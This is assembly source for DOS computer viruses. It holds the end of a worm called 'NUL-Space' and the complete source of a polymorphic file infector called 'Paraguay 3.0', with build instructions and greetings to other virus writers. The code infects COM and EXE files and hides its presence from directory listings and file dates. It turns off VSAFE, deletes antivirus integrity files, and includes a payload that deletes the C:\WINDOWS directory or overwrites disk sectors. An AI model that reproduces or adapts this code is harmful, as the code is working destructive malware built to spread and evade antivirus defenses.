pop es
mov ax,di ;point to new device to add
movsw ;put it in chain
movsw ;far pointer
mov word ptr ds:[si-02h],cs ;point to new device
mov word ptr ds:[si-04h],ax
add di,offset eicar_device-scandisk_device-04h
loop next_device ;do eicar and winstart device
push cs ;hook interrupt 21
pop ds
mov ax,3521h
int 21h
mov word ptr ds:[previous_hook],bx
mov word ptr ds:[previous_hook+02h],es
mov ax,2518h ;save old interrupt 21 as 18
mov dx,bx
push es
pop ds
int 21h
push cs
pop ds
mov dx,offset resident_isr21
mov al,21h
int 21h
mov ah,31h ;go memory resident
mov dx,((tail-com_install+0110h) SHR 4)
int 21h
go_mem_res endp

interrupt_24 proc near


mov al,03h ;fiddly little critical error
iret ;handler
return_far: retf ;retf for NUL device routines
interrupt_24 endp

vname db " NUL-Space "


scandisk_device dd -1 ;our 3 new NUL-Space devices
dw 8004h ;nul character attributes
dw return_far ;do nothing routines
dw return_far
db "SCANDSKW" ;stop scandskw in windows 95
eicar_device dd -1
dw 8004h
dw return_far
dw return_far
eicar_dev_name db "EICAR " ;protect those stupid eicar
winstart_device dd -1 ;files while we infect
dw 8004h
dw return_far
dw return_far
win_dev_name db "WINSTART" ;finally protect ourselves
winstart_file db "C:\WINSTART.BAT",00h ;file name to replicate
eicar_drive db "C:"
eicar_file db "EICAR."
eicar_ext db "QUE",00h
drive_number dw 27

eicar proc near ;stupid EICAR file


pop ax
xor ax,214Fh
push ax
and ax,4140h
push ax
pop bx
xor al,5Ch
push ax
pop dx
pop ax
xor ax,2834h
push ax
pop si
sub [bx],si
inc bx
inc bx
sub [bx],si
jge terminate
eicar_text db 'EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$'
terminate: dec ax
sub cx,[bx+si+2Ah]
db 0dh,0ah
eicar_length label byte
eicar endp

create_random3 proc near


mov cx,0003h ;3 byte random file
setname: xor ax,ax ;random name at ds:si & ds:di
out 43h,al
push cx
in al,40h
mov cx,ax
around: loop around ;psuedo random delay
pop cx
and al,1fh ;32 letters possible
add al,'A'
cmp al,'Z'
jbe nameit
sub al,42 ;if above Z then make it 1-6
nameit: stosb ;save random name
mov byte ptr es:[si],al
inc si
incloop: in al,40h ;get the high byte
loop setname
retn
create_random3 endp
resident_isr21 proc near
pusha
push ds
push es
pushf
push cs
pop ds
cld
inc word ptr ds:[counter] ;only infect every 65536 times
jz infect_now ;into interrupt 21h
jmp not_infect_now
infect_now: mov ax,3524h ;set critical error handler
int 18h
push es
pusha
mov dx,offset interrupt_24 ;our handler
mov ah,25h
int 18h
push cs
pop es ;get drive to infect
next_drive: mov bx,word ptr ds:[drive_number]
cmp bx,27 ;is it past drive Z: ?
jb save_letter
mov bl,02h
save_letter: inc bx ;inc and save for next time
mov word ptr ds:[drive_number],bx
check_next: mov ax,4409h ;see if network or local drive
int 18h
jc next_drive ;if neither get next drive
xchg ax,bx
add al,"@" ;save drive letter
mov byte ptr ds:winstart_file,al
mov byte ptr ds:eicar_drive,al
test dh,10h ;test for network
jz eicar_dropper ;if local then drop EICARs
mov di,offset password1 ;create new cypher text file
mov si,offset password2 ;to be made from winstart
call create_random3
mov di,offset random_file1 ;random file name
mov si,offset random_file2
call create_random3
cmpsb
call create_random3 ;and random extension
mov di,offset eicar_file ;random file name
mov si,offset eicar_dev_name
pusha
call create_random3
popa
cmpsw
call create_random3 ;and more random name
mov dx,offset winstart_file ;create worm
mov di,offset win_dev_name ;disable nul-space driver
mov ah,5bh ;create new file
xor byte ptr ds:[di],ah
xor cx,cx ;normal attributes
int 18h
mov byte ptr ds:[di],"W" ;set nul-space driver back
jc unable_infect
mov dx,0100h ;point to start of winstart
mov cx,offset previous_hook-start
jmp short write_file ;create file
eicar_dropper: mov di,offset eicar_ext ;create EICAR file
mov si,di ;random extension
call create_random3
mov di,offset eicar_dev_name
mov ah,5bh ;create new file
xor byte ptr ds:[di],ah ;disable nul-space driver
mov dx,offset eicar_drive ;point to file
mov cl,07h ;readonly, hidden and system
int 18h
mov byte ptr ds:[di],"E" ;enable nul-space again
mov dl,low(offset eicar) ;point to EICAR file
mov cl,low(offset eicar_length-eicar)
write_file: mov bh,40h ;write EICAR or winstart file
xchg ax,bx
int 18h
mov ax,5701h ;set date
mov dx,229fh
int 18h
mov ah,3eh ;close it
int 18h
unable_infect: popa ;done
pop es
mov dx,bx ;set critical error back
int 18h
not_infect_now: popf
pop_it: pop es
pop_ds_and_all: pop ds
popa
resident_isr21 endp

far_jmp proc near


db 0eah
previous_hook: label double ;previous interrupt 21
far_jmp endp

org $+04h
tail label byte
qseg ends
end start
Comment #

ßÛßßßßßÜ ßÜ Üß Ü ÜÜÜÜ Ü Ü Üßßß


Û Û Û Û Û ÛÜß Û Û ßßÛ
Û Û ß ß Û Û ßß ßßß
ÛÜÜÜÜÜß ÜÜÜ Ü ÜÜ ÜÜÜ ß Ü Ü ÜÜÜ Ü Ü
Û Û Ûß Û ÜßßßÜ Û Û Û Û Û
Û ÜßßÛ Û ÜßßÛ Û Û Û Û ÜßßÛ ßÜÜÛ
ÜÛÜ ßÜÜÛÜ Û ßÜÜÛÜ ßÜÜÜÛ ßÜÜß ßÜÜÛÜ Û ßßÜ ÜßßÜ
Û Û ßÜ Û Û
ßÜÜß ßÜÜß ßß ß ßß

ÄÄÄÄÄÄÄÄÄ Ä Ä ú Coded by Int13h in Paraguay, South America ú Ä Ä ÄÄÄÄÄÄÄÄÄ

Characteristics
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
* Appending COM/EXE infector. COMs > 666 and < 60000 bytes
* Resident using Memory Control Block (MCB), hooks INT 21h.
* Fast infector. Infects on open, execution, rename, extended
open and get/change attributes.
* Doesn't reinfect memory or files.
* Directory and Handle stealth. Hides virus-size on ah=11h/12h/4eh/4fh.
* Turns off VSAFE's flags while analyzing or infecting files. When the
dirty work is finished, the flags are returned, except of the 'Write
Protect' one, coz caches may make troubles.
* Time Stealth (AX=5700h and 5701h), returns correct seconds and prevents
any program from setting normal seconds to an infected file.
* Handler Stealth (AX=2521H and 3521H), returns previous handler for
INT 21h when someone requests it, and when any program wants to get
control over INT 21h, it sets it as second handler, this way, the
virus is always first at INT 21h.
* Gets INT 21h vector tracing the Progam Segment Prefix (PSP), and if it
finds it, it uses this one, otherwise it uses INT 21h normally.
* Deactivates trap flag and INT 01h, in order to avoid tunneling on any
int we hook.
* On May (Paraguayan's independence day), if we get a random byte over
200, the virus dels every file and subdirectories on stinky and filthy
C:\WINDOWS, setting it as an alternative entrance to DOS (from old
CP/M).
* It dels ANTI-VIR.DAT, CHKLIST.CPS, CHKLIST.MS and AVP.CRC in the dir
where files are infected.
* Files infected are set to 60 seconds.
* Doesn't infect files ended with AN,AV,OT,RD,RU,IT,VP,SK,IP,RJ,AR,HA
so we dont have probs with suckers. Whenever it detects an execution
of any file with these endings, it deactivates stealth. Then there
are no problems with compressing programs (pkzIP, aRJ, rAR, lHA) and
various AV's. Whenever the program terminates its execution
(AH=4Ch/int 21h or INT 20h) it reactivates stealth.
* Sets its own code for handling Errors.
* Avoids infecting immunized files (CPAV) and DOS 7.0 .COM's.
* There's no viral activity if Novell Network is detected.
* It doesn't infect WINSLOWS .EXE files.
* It doesn't infect with a different length from that specified on the
header (overlayed .EXE's).
* Maintains Date + Time (sets seconds to 60 ;-).
* Returning control to .COM tries to infect COMMAND.COM.
Returning contorl to .EXE verifies the payload condition.
* Opens files in 'Read Only' mode, and manipulates the System File Table to
change to 'Read/Write' mode, save attribs and set them to normal. It also
resets the pointer.
* Kinda polymorphic, with random regs selection and garbage
adding in the decryptor. The opcodes table changes on each infection.
TO COMPILE IT ( I TASM, so I am )
* tasm parag-30.asm /m3
* tlink parag-30.obj

Greetz - Greetz - Greetz - Greetz - Greetz - Greetz - Greetz - Greetz

Methyl : hello prince of tunneling!


Superx : a mov ax,04202h takes in your code just a nibble :)
Tcp : your disassemblies rock
Mister Sandman: Metallica rulesss X-DDDD
Sepultura : come back to da scene, mate.
GriYo : disinfection-on-the-fly equ desinfectar-a-la-mosca ;-)
Jacky Qwerty : you can infect even a particle acelerator :)
Drako [DAN] : holas. mino@iia2.org no funciona :-( Saludos!

Also greetz to the gods: Vyvojar, F3161, Neurobasher, Masud & Dark Avenger.

.Model Tiny
.Code ; .Pseudocode would be better hehehe
Org 0h ; Yes, yes, yes; It's an EXE

Longitud equ (offset FakeHoste-offset Paraguay)


Largor equ (offset Omega-Offset Paraguay)
VirusEnPara equ (Largor+15)/16
Saltarlos equ (offset Jeroglifico-offset Paraguay)
Cripted equ ((offset Omega-offset Jeroglifico)/2)
ParraVir1 equ ((Longitud+15)/16)+1
ParraVir2 equ ((Longitud+15)/16)

Paraguay:
db 18 dup (090h) ; Buffer
call Paso1 ; Delta Offset
Paso1: nop
pop bp
Paso2: sub bp,offset Paso1 ; In BP goes delta (variable)
Junk02: db 8 dup (090h) ; In all labels Junk, garbage.
Paso3: mov bp,bp ; Used registers are selected
Junk03: db 4 dup (090h) ; randomly by the rnd code.
push cs ; DS:=CS
pop ds
Junk04: db 12 dup (090h)
Paso4: lea si,[bp+offset Jeroglifico] ; Index Register is variable
Junk05: db 6 dup (090h)
Paso5: db 081h,0c6h,0,0 ; ADD SI,0000
Junk06: db 10 dup (090h)
Paso6: push si ; Stack return address
Junk07: db 4 dup (090h) ; so RET jumps there.
Paso7: mov cx,Cripted/2 ; CX value is divided
Junk08: db 8 dup (090h)
Paso8: add cx,Cripted/2
Junk09: db 6 dup (090h)

Desencriptor: ; Hence the decryptor #:)


Paso9: db 081h,034h ; XOR WORD PTR [SI],CLAVE
Clave dw 0
Junk10: db 14 dup (090h)
Paso10: inc si ; It may be SI,DI or BX
inc si
Junk11: db 4 dup (090h) ; Waste, waste, waste...
Loop Desencriptor
Junk12: db 8 dup (090h)
ret ; Jumps into decryted or RETurns.
Junk13: db 16 dup (090h) ; It's needless, but just i put it.

Jeroglifico: ; Encrypted Virus


push es ; Replace DS, in case it is an EXE
pop ds ; DS:=ES
mov ah,2 ; TBCLEAN intended.
int 16h

mov ax,0db00h ; Verify whether NETX.EXE


int 21h ; from Novell Network is
or al,al ; resident.
jz NoHayNovell
jmp MemoriaYaPodrida ; If Novell's there, dont infect.

NoHayNovell:
mov ax,0cd13h ; Hell Good Interruption! ;)
int 21h
cmp ax,013cdh ; Residency test.
jne Instalar ; Load virus into memory.
jmp MemoriaYaPodrida

Instalar: ; Reserve room in


push es ; "R.A.M." Hotel :)
mov ax,3521h ; Old INT 21h handler.
int 21h
mov cs:[bp+word ptr Abuela21h],bx
mov cs:[bp+word ptr Abuela21h+2],es
mov cs:[bp+word ptr Real21h],bx ; In case PSP tracing fails.
mov cs:[bp+word ptr Real21h+2],es

mov ax,3520h ; Old INT 20h handler.


int 21h
mov cs:[bp+word ptr Interrupcion20h],bx
mov cs:[bp+word ptr Interrupcion20h+2],es
push ds ; Data Segment to stack

lds bx,ds:[0006h] ; Search for original INT 21h


Tracear:cmp byte ptr ds:[bx],0eah ; handler in PSP.
jne Chekear ; Thanks Satan's Little Helper
lds bx,ds:[bx+1]
cmp word ptr ds:[bx],9090h ; Search for double NOP
jnz Tracear
sub bx,32h
cmp word ptr ds:[bx],9090h ; " " " "
jne Chekear
Hallado:mov cs:[bp+word ptr Real21h],bx ; Save found address
mov cs:[bp+word ptr Real21h+2],ds
jmp short MCBTSR
Chekear:cmp word ptr ds:[bx],2e1eh
jnz MCBTSR
add bx,25h
cmp word ptr ds:[bx],80fah
je Hallado

MCBTSR: pop ds ; Unload Data Segment from stack


mov ax,ds ; Get resident using
dec ax ; <----- MCB
mov es,ax
mov ax,es:[3] ; Memory
sub ax,ParraVir1 ; Substract virus length
xchg bx,ax ; in paragraphs (16 bytes)
push ds ; ES:=DS
pop es
mov ah,4ah ; Free unused memory
int 21h

mov ah,48h ; Allocate memory


mov bx,ParraVir2
int 21h

dec ax
mov es,ax
mov word ptr es:[1],8 ; Virus? Nope... its DOS ;)
mov word ptr es:[8],'PY' ; Block's name: PY (Paraguay)
inc ax
mov es,ax
xor di,di

push cs ; Copy virus to free segment


pop ds
lea si,[bp+offset Paraguay] ; From the begining
mov cx,Longitud ; CX bytes
rep movsb

int 03h ; 4 DEBUG!

xor ax,ax
mov ds,ax ; DS:=0
mov dx,offset Maldita21h ; Gets INT 21h directly
mov word ptr ds:[21h*4],dx ; modifying the IVT
mov ds:[21h*4+2],es

mov dx,offset Inty20h ; Gets INT 20h


mov word ptr ds:[20h*4],dx
mov ds:[20h*4+2],es
pop es ; Extra Segment saved

MemoriaYaPodrida:
cmp byte ptr [bp+ComOexe],'C' ; What are we infecting?
je CorrerCOM

mov ah,2ah ; System's date.


int 21h

cmp dh,05 ; Independence month!!


jne SigaNomas

in ax,40h ; Trivial Randomic Generator.


cmp al,200d
jb SigaNomas

push cs ; DS:=CS
pop ds

mov ah,03bh
lea dx,[bp+Offset WindoSucks] ; Enter the directory
int 21h
jc LittleDamage ; Error Hmmm Lets fuck it anyway! ;)

lea ax,[bp+offset ImprimirCadena]


push ax ; Stack Return Address
push cs ; Our Code Segment
pushf ; And the flags
mov cl,13h ; Delete using FCB (Function in cl)
lea dx,[bp+offset FCBTrucho] ; The diabolic table
sub ax,ax ; 0 Segment
push ax
mov ax,00c0h ; Offset 0c0h = alternative entrance
push ax
retf ; Jmp there!

LittleDamage:
in ax,40h
xchg dx,ax
xor dh,dh ; Just between the first 0xff sectores
mov al,2 ; Drive C:
mov cx,2 ; Smashs two random sectors
int 26h

ImprimirCadena: ; Social Presentation


push cs
pop ds
mov ah,9 ; Print Copyright
lea dx,[bp+offset CopyWrong]
int 21h

xor ax,ax ; It even pauses! :)


int 16h

SigaNomas:
push es ; Correct Data Segment
pop ds

mov bx,bp ; F-Prot's guilty for this

mov ax,es
add ax,10h ; Because of the PSP
add cs:[(bx+CS_IP)+2],ax

cli ; Stop ints


add ax,cs:[(bx+SS_SP)+2]
mov ss,ax ; Its stack segment
mov sp,cs:[bx+SS_SP] ; and its stack pointer
sti ; Free ints

call Limpiar ; Reinitialize registries

db 0ebh,0h ; Free the prefetch queue


db 0eah ; Jump to EXE's CS:IP
CS_IP dw offset FakeHoste,0h
SS_SP dw 0,0 ; Its SS:SP

CorrerCOM:
call Segmentos
mov ah,56h ; Rename! Hehe, just to infect
lea dx,[bp+offset CommandCom] ; COMMAND.COM, making sure we
mov di,dx ; get on memory early each day in
int 21h ; the morning.

lea si,[bp+offset Vafer] ; Its original bytes...


mov di,100h
push di ; 100h to stack
cld
movsb ; Return its old bytes.
movsw

Limpiar:xor ax,ax
xor bx,bx
xor cx,cx ; Clean registers
xor dx,dx
xor si,si
xor di,di
xor bp,bp
ret ; Run COM or return to caller

Stealth_Segundos2:
push dx
push cx ; Saves originals
mov ax,5700h ; Get date & time of the given handle
pushf
call dword ptr cs:[Real21h]
and cl,00011111b
cmp cl,00011110b ; ¨60 seconds? ¨Infected?
jne Tranquilopa
pop cx
and cl,11100000b ; Marks as infected
or cl,00011110b ; 30*2=60!
push cx
Tranquilopa:
pop cx
pop dx
mov ax,5701h ; Set the date & time
pushf
call dword ptr cs:[Real21h]
iret

Stealth_Segundos1:
pushf
call dword ptr cs:[Real21h] ; Do the real int
push cx
and cl,00011111b
cmp cl,00011110b ; ¨60 seconds?
jne NoPasaNada
pop cx
and cl,11100000b ; Erase erronous infect mark
or cl,1 ; 1*2=2 seconds
push cx
NoPasaNada:
pop cx
iret

Maldito_Jump2: ; Worst opcodes are those short


jmp Stealth2 ; jumps of 128 bytes! :-(
Maldito_Jump3:
jmp Analizar

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Maldita21h: Its the INT 21h handler set by Paraguay 3.0 !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Maldita21h proc far ; My INT 21h
push ds
push si
push ax ; Saving the registers I'll use.
push bx
pushf
pop ax ; Get flags into AX
and ah,11111110b ; Zero out Trap Flag used for
push ax ; tunneling
popf ; And load modified flags from AX
sub ax,ax
mov ds,ax ; DS:=0 = IVT
mov bx,4 ; 0000:0004 = Int 1h handler
lds si,[bx] ; DS:SI = " " "
mov bl,byte ptr [si] ; Handler's first byte in bl
mov byte ptr [si],0cfh ; That is an InterruptionRETurn
pop bx
pop ax ; Restore registers
pop si
pop ds

cmp ax,0cd13h ; Memory Check


je Chequeo
cmp ax,03521h ; Hide Int21h
je Ocultar21h_A
cmp ax,02521h ; Protect Int21h
je Ocultar21h_B
cmp ax,05700h ; Hide wrong secs
je Stealth_Segundos1
cmp ax,05701h ; Protect wrong secs
je Stealth_Segundos2
cmp ah,11h ; FCB finding first
je Stealth1
cmp ah,12h ; FCB finding next
je Stealth1
cmp ah,4eh ; Finding first
je Maldito_Jump2
cmp ah,4fh ; Finding next
je Maldito_Jump2
cmp ah,04bh ; Program execution
je Maldito_Jump3
cmp ah,056h ; Rename files
je Maldito_Jump3
cmp ah,043h ; Get/Set attribs
je Maldito_Jump3
cmp ah,3dh ; Open
je Maldito_Jump3
cmp ax,6c00h ; Extended Open
je Maldito_Jump3
cmp ah,4ch ; Program end...
je SalidaProg
db 0eah ; Normal INT, uninteresting :)
Abuela21h dw 0,0
Chequeo:xchg ah,al ; Yes!!!! Here we are.
iret
Maldita21h endp

SalidaProg: ; Int 21h/4Ch to end the program


mov byte ptr cs:[HacerStealth],1; Set stealth flag
jmp dword ptr cs:[Abuela21h]

Inty20h: ; Int 20h ending (4 some old COMs)


mov byte ptr cs:[HacerStealth],1; Set stealth flag
db 0eah
Interrupcion20h dw 0,0

Ocultar21h_A:
mov bx,cs:[word ptr Abuela21h] ; Old handler into ES:BX
mov es,cs:[word ptr Abuela21h+2]
iret

Ocultar21h_B:
mov cs:[word ptr Abuela21h],dx ; Set DS:DX as second handler
mov cs:[word ptr Abuela21h+2],ds; in the chain.
iret ; Viruses first ;)

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Stealth1: Edit File Control Block size to hide the al virus !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Stealth1: ; FCB stealth
pushf
call dword ptr cs:[Abuela21h]
or al,al ; al = 0?
jne ErrorDir ; Puaj! Error :-(

push ax
push bx ; Save this regs into the stack
push es

mov ah,62h ; PSP: where is it?


int 21h

mov es,bx
cmp bx,es:[16h] ; Correct PSP?
jne Fuera ; Nope, chau.

mov bx,dx ; Points to original FCB in the PSP


mov al,[bx]
push ax ; Save AX for later comparison

mov ah,2fh ; In ES:BX there is DTA's address


int 21h
pop ax ; Reget AX (AL=ffh or AL=1)
inc al ; Which FCB-type?
jne FCBComun
add bx,7 ; Its extended, turn it normal

FCBComun:
mov al,byte ptr es:[bx+17h] ; True Seconds...
and al,00011111b
cmp al,00011110b ; 60 seconds?
jne Fuera

cmp word ptr es:[bx+1dh],(Largor+200)


ja Sustraer ; If greater than virus, substract.

cmp word ptr es:[bx+1fh],0 ; Too small as to be infected


je Fuera

Sustraer:
sub word ptr es:[bx+1dh],Largor
sbb word ptr es:[bx+1fh],0000 ; Substract virus size
or byte ptr es:[bx+17h],1 ; Hide the seconds
Fuera: pop es ; Pop modified regs
pop bx
pop ax
ErrorDir:
retf 2 ; IRET maintaining flags

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Stealth2: Edit Disk Transfer Area size to hide the virus !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Stealth2: ; Handle stealth
pushf
call dword ptr cs:[Abuela21h]
jc Demonios ; If carry is set...-ERROR!

cmp byte ptr cs:[HacerStealth],0; Is stealth off?


je Demonios

pushf
push ax
push es
push bx

mov ah,2fh ; DTAddress


int 21h ; in ES:BX

mov ax,es:[bx+16h] ; Unhide the seconds


and al,00011111b
cmp al,00011110b ; 60 segundos?
jne Paso

cmp word ptr es:[bx+1ah],(Largor+200d)


jb Paso ; Verify size

sub word ptr es:[bx+1ah],Largor ; Substract virus


sbb word ptr es:[bx+1ch],0000
or byte ptr es:[bx+16h],1 ; Hide seconds

Paso: pop bx
pop es
pop ax
popf
Demonios:
retf 2 ; RETurn

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Manejador24h: Pseudo-error-handler, so as to avoid write protect errors !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Manejador24h proc near ; Dumb critic error handler
mov al,03
iret ; -It's nothing, officer...
Manejador24h endp

Maldito_Jump4: ; 128 byte shit junk


jmp PopAll

SoloPopear:
jmp JustPOPs
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Analizar: Analize and eventual infection of file given in DS:DX !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Analizar: ; Examine victim
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es

cmp ax,6c00h ; Special case DS:SI


jne No_Apertura_Extendida

cmp dx,0001 ; Standard open


jne SoloPopear

mov dx,si ; Now its DS:DX also

No_Apertura_Extendida:
push ax
push dx ; V¡ctim
push ds

mov ax,3524h ; Int 24h Handler


int 21h
mov word ptr cs:[Vieja24h],bx
mov word ptr cs:[(Vieja24h)+2],es
push cs
pop ds

mov ax,2524h ; Pipe it


mov dx,offset Manejador24h
int 21h

mov ax,0fa02h ; Turn off VSAFE's flags


mov dx,5945h ;
mov bl,00000000b ; New flags = 0
int 21h
mov byte ptr cs:[Vsuck],cl ; Save flags for later

pop ds ; Candidate in DS:DX


pop dx
push ds
pop es
pop ax
cld
mov di,dx
mov cx,128
mov al,'.' ; Search jumping .
repne scasb
jne Maldito_Jump4

push ax

mov ax,word ptr es:[di-3] ; Dont infect undesirable!


or ax,02020h
cmp ax,'na' ; scAN / cleAN / tbscAN / tbcleAN
je Actuar
cmp ax,'va' ; tbAV / nAV
je Actuar
cmp ax,'to' ; fool-prOT
je Actuar
cmp ax,'dr' ; guaRD
je Actuar
cmp ax,'ur' ; findviRU
je Actuar
cmp ax,'ti' ; toolkIT
je Actuar
cmp ax,'pv' ; aVP
je Actuar
cmp ax,'ks' ; chkdSK
je Actuar
cmp ax,'pi' ; pkzIP
je Actuar
cmp ax,'jr' ; aRJ
je Actuar
cmp ax,'ra' ; rAR
je Actuar
cmp ax,'ah' ; lHA
je Actuar
pop ax
jmp short IsNotEvilSoft

Actuar: pop ax
cmp ah,04bh ; Will junk be exec'ed?
jne Maldito_Jump5
mov byte ptr cs:[HacerStealth],0; Turn stealth off
jmp short Maldito_Jump5

IsNotEvilSoft:
xchg si,di ; Check ext
lodsw
or ax,2020h ; Uncapitalize
cmp ax,'oc' ; .CO?
jne VerEXE3
lodsb
or al,20h
cmp al,'m' ; .COM?
je Label3
Maldito_Jump5:
jmp PopAll ; Abort mission

VerEXE3:cmp ax,'xe' ; .EX?


jne Maldito_Jump5
lodsb
or al,20h
cmp al,'e' ; .EXE?
jne Maldito_Jump5

Label3: mov ax,3d00h ; Open host in read-only


pushf ; mode
call dword ptr cs:[Real21h]
jc Maldito_Jump5
xchg bx,ax ; Handle into BX
mov word ptr cs:[Handle],bx

push cs
pop ds

mov ax,4301h ; Get ANTI-VIR.DAT attrib naked


mov dx,offset Basura1
sub cx,cx
pushf ; Call handler directly
call dword ptr cs:[Real21h]

mov ah,41h ;
mov dx,offset Basura1
int 21h

mov ah,41h ; Chau CHKLIST.MS


mov dx,offset Basura2
int 21h

mov ah,41h ; C ya CHKLIST.CPS


mov dx,offset Basura3
int 21h

mov ah,41h ; Good luck AVP.CRC


mov dx,offset Basura4
int 21h

mov ax,5700h ; Time and Date please


pushf ; Call handler directly
call dword ptr cs:[Real21h]
mov word ptr cs:[Time],cx
mov word ptr cs:[Date],dx
and cl,00011111b
cmp cl,00011110b ; 30*2= ¨60?
jne Conti ; Already infected?
jmp Maldito_Jump6

Conti: call Segmentos ; Set working segments


mov ah,3fh ; Read from the beginning
mov cx,45d ; 45 bytes to our buffer
mov dx,offset Cabecera
int 21h

mov si,dx ; Is it a True EXE?


cmp word ptr [si],'ZM'
je InfectarEXE
cmp word ptr [si],'MZ' ; Other way
je InfectarEXE

InfectarCOM: ; Notice .COM files


push bx ; Save handle
mov ah,30h
int 21h
pop bx ; And restore it here ;)
cmp al,7 ; Dare not touch the COMs
jae Maldito_Jump6 ; from DOS 7 or above

call AlFinal
cmp ax,60000d ; Check size
ja Maldito_Jump6
cmp ax,029Ah ; Hi there spanish pals ;-)
jbe Maldito_Jump6

cmp word ptr [si+11d],'TW' ; CPAV immunized?


je Maldito_Jump6

mov byte ptr [COMoEXE],'C' ; Mark as .COM


mov di,offset Vafer ; which we will write into 100h after
movsb
movsw

sub ax,3 ; JMP


mov word ptr [Salto+1],ax

call HIPOCRESIA ; Change the face. -HIPOCRITE! ;)

mov bx,[Handle] ; Handle in BX

call Manipular_SFT ; Modify SFT info

mov ah,40h
mov cx,Largor
mov dx,offset CopiaVir
int 21h ; ADD file,virus

mov word ptr es:[di+015h],00 ; Pointer to the beginning SFT


mov word ptr es:[di+017h],00

mov ah,40h ; Write the JMP


mov cx,3
mov dx,offset Salto
int 21h

inc word ptr [Contador] ; One more ;)

mov cl,byte ptr [Atributos] ; Return its original attribs


mov byte ptr es:[di+4],cl

call PongoFecha ; Restore date and time


Maldito_Jump6:
jmp Cerrar ; Close and go

InfectarEXE: ; Notice .EXE


cmp word ptr [si+018h],0040h ; If Windoze let it rot
jae Maldito_Jump6

cmp word ptr [si+01ah],0000 ; Overlay?


jne Maldito_Jump6

cmp word ptr [si+43d],'TW' ; Sucked with CPAV's code?


je Maldito_Jump6

call AlFinal

mov cx,512d ; See if not overlayed


div cx
or dx,dx ; Is multiple?
je NoHayResto
inc ax
NoHayResto:
cmp word ptr [si+02h],dx ; Do partial page bytes match?
jne Maldito_Jump6
cmp word ptr [si+04h],ax ; Total page bytes match
jne Maldito_Jump6 ; real size?

mov byte ptr [COMoEXE],'E' ; EXE marked


call AlFinal
push dx ; Size
push ax

les ax,dword ptr [(Cabecera+014h)]


mov [CS_IP],ax ; The world-wide known CS:IP and the
mov [(CS_IP+2)],es ; not less well-known SS:SP
les ax,dword ptr [(Cabecera+0eh)]
mov word ptr [SS_SP],es ; CS:IP (Intel Reversed Word Format)
mov word ptr [(SS_SP+2)],ax ; SS:SP (Non " " " " )

mov ax,word ptr [(Cabecera+08h)]


mov cl,4
shl ax,cl
xchg bx,ax
pop ax ; Pop size
pop dx
push ax
push dx ; Repush
sub ax,bx
sbb dx,0
mov cx,10h
div cx ; Turn into segmented style
mov word ptr [(Cabecera+014h)],dx
mov word ptr [(Cabecera+016h)],ax
mov word ptr [(Cabecera+0eh)],ax
mov word ptr [(Cabecera+010h)],0

pop dx ; Pop size one more time


pop ax

add ax,Largor ; Host+Virus size


adc dx,0
mov cl,9
push ax
shr ax,cl
ror dx,cl
or dx,dx ; Garbage
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [(Cabecera+4)],dx
mov word ptr [(Cabecera+2)],ax

mov ax,word ptr [(Cabecera+0ah)]; MinAlloc


clc
add ax,VirusEnPara
jc NoAgregarMemoria ; If carry dont add
mov word ptr [(Cabecera+0ah)],ax
NoAgregarMemoria: ; MaxAlloc, underneath
mov word ptr [(Cabecera+0ch)],0ffffh

call HIPOCRESIA ; Change yer face. -HIPOCRITE!

mov bx,[Handle]

call Manipular_SFT

mov ah,40h
mov cx,Largor ; Stack virus at the end
mov dx,offset CopiaVir
int 21h

mov word ptr es:[di+015h],00 ; Set pointer to start simply by


mov word ptr es:[di+017h],00 ; resetting the pos set in SFT

mov ah,40h ; Write header at the beginning


mov cx,01ah
mov dx,offset Cabecera
int 21h

inc word ptr [Contador] ; Another one for the list

mov cl,byte ptr [Atributos] ; Return Original Attribs


mov byte ptr es:[di+4],cl

call PongoFecha ; Restore Date and Time set

Cerrar: mov ah,3eh ; Close file


int 21h

PopAll: push cs
pop ds

mov ds,word ptr [Vieja24h+2]


mov dx,cs:word ptr [offset Vieja24h]
mov ax,2524h
int 21h ; Restore Error Handler

mov ax,0fa02h ; Before ending, clean tracks


mov dx,5945h ; Restore VSAFE's flags
mov bl,byte ptr cs:[Vsuck]
and bl,11111011b ; Turn off write-protected flag
int 21h ; (cache stuff)

JustPOPs:
pop es ; Pop all regs
pop ds ;
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:[Abuela21h]

Contador dw 0 ; Infection counter


CopyWrong db 'VIRUS BELBELBELPARAGUAY BELBELVer. 3.0BEL!$ Programmed by Int13h,'
db ' in Paraguay, South America.'

Basura1 db 'ANTI-VIR.DAT',0 ; Computer disgraces


Basura2 db 'CHKLIST.MS',0
Basura3 db 'CHKLIST.CPS',0
Basura4 db 'AVP.CRC',0
CommandCom db 'C:\COMMAND.COM',0 ; To infect this sucker
WindoSucks db 'C:\WINDOWS',0 ; I'm about to vomit! Puuuaaaaj!!
Salto db 0e9h,00h,00h ; Initial jump at beginning of COM
